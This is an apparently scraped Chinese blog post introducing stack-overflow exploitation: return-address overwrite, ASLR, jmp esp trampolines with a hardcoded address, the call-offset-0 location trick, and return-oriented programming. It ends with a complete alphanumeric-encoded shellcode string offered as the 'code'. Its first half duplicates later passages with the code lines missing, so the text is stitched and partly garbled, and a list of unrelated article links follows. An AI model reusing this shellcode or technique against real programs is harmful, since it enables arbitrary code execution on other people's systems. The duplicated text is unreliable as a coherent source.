栈爆了-精要介绍栈溢出相关
2016-10-10 00:24
211 查看
由于函数的返回地址在栈中,栈溢出会导致程序流程落入攻击者之手.
具体方法是,覆盖返回地址,等着ret执行我们的命令.
小黑:攻击者开始任意执行自己的代码了。
小黑:既然不能知道自己部署的攻击代码静态的位置,那么需要一个跳板:
寻找系统中的不愿意配合的模块中的跳板指令,常用的如下:
由于call指令和jmp指令认的是相对地址,一切变得容易起来,但是where am i?
使用:
来将下一条指令的地址压栈来达到定位的效果,该技巧美其名曰:基址重定位
老黑:淡定,你知道有一件兵器叫ROP吗?
ROP-Return Oriented Programming
通过寻找在其他模块中的一串以ret结尾的指令组,用攻击者在栈上的布置的地址使函数执行像滑块一样拼接起来,栈上从没有执行过却提供了所有需要的参数和连接的关键。
惊呆了~
更多细节去欣赏:
栈爆了中的小故事
具体方法是,覆盖返回地址,等着ret执行我们的命令.
返回地址的门道
返回地址为一个固定的地址通往攻击者溢出的数据中这个愿望总是美好的。小黑:攻击者开始任意执行自己的代码了。
安全厂商说:看我变
简称ASLR全称地址空间布局随机化的方案在安全厂商的推动下开始实施了。随机布局内存中的模块位置使得愿意配合保护的模块能够在内存中变换位置。小黑:既然不能知道自己部署的攻击代码静态的位置,那么需要一个跳板:
寻找系统中的不愿意配合的模块中的跳板指令,常用的如下:
jmp esp /*著名的7ffa4512*/ call esp
由于call指令和jmp指令认的是相对地址,一切变得容易起来,但是where am i?
使用:
call offset 0
来将下一条指令的地址压栈来达到定位的效果,该技巧美其名曰:基址重定位
不许在栈上执行啊喂
小黑:你没搞错吗?栈溢出不让用栈?我曰老黑:淡定,你知道有一件兵器叫ROP吗?
ROP-Return Oriented Programming
通过寻找在其他模块中的一串以ret结尾的指令组,用攻击者在栈上的布置的地址使函数执行像滑块一样拼接起来,栈上从没有执行过却提供了所有需要的参数和连接的关键。
惊呆了~
决战
Talk is cheap,show me the code!!!char szFromShellCode[] = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0" "BBABXP8ABuJIrulKzLMQJLopwp5PuP8GW5k03sqb" "CUCQHGReOtRTPeQVayXGpEOx0lsUv7uPlMSuoppP" "RpV5NkhlK3JLwxLKQU5XPSrvrwLKDHLKPPS4xGpEK" "LUPuPgpS0ni0MkHMYRuc8sTMqP030uPUPLK704LlK" "2PeLNMLKCpUXlKKHNkG7elnkpTUWRXgszwLKPJuHL" "KaJq0VcyOriNk4tLKwsl7lKCuzXEi5VqeKCnkaUfh" "09PFVdpuZKLKpZEts3KoqvLKDLBkNkRzgluSYOLKu" "TlKGsYWoycuKLlKqUKLaOQNSknkkUQMLIQUx48Gg5" "nlQLWpslWpHGw5Np4nuPqLuPKwSulTF0UP1xePjg3" "umHpyGpcC7po7SuolayUPSSwpO7QUoPSQWpBLWpO7" "3uOT1Ts0Pr30KwSuOXcYWpcFuPO7reNL3UeP4pwpK" "wcuNPWpwpePePsZgpCZWpPjs3pjePazdC1x5Pc07p" "KpLMCuLLPPlKcuODKOXPLKZxNmRmmhLMrunXp3O0v" "0RpBpPPrHePKqEWuPPQbrpPv0QCh8aRGpWpc0nm2t" "a4ZXVoudWp";
更多细节去欣赏:
栈爆了中的小故事
相关文章推荐
- Unity Shader入门精要笔记(五):其他数学相关介绍
- 支持开源,近期将开设Laszlo专题,陆续介绍相关资讯
- opensslBIO系列之2---BIO结构和BIO相关文件介绍
- Python 介绍及相关资料
- Dflying的Atlas相关介绍/教程文章合辑PDF下载
- 介绍有关学习C++ STL的预备知识和STL的相关背景知识,适合想对STL做大致了解的初学者
- ESFramework介绍之(33)―― AS与FS通信实现及相关
- JNDI精要介绍
- Gnutella协议的相关介绍(Peercast实现P2P传输所使用的协议)
- J2ME结构与相关规范介绍
- JDO及相关资源介绍
- IP地址相关知识的介绍
- Openssl中大数以及RSA相关函数介绍
- 推荐介绍一项新的工程技术:[威胁建模]的相关系列文章《威胁建模Web 应用程序》
- 介绍几本 PHP 书籍和一些 PHP 相关资源链接
- Rational中相关组件的简单介绍
- RSS相关介绍
- PHP PEAR HTTP相关Package介绍
- 非窗口类中使用定时器的方法及相关知识的介绍
- 开源 SOA 工具的编程技术: Apache Beehive 相关介绍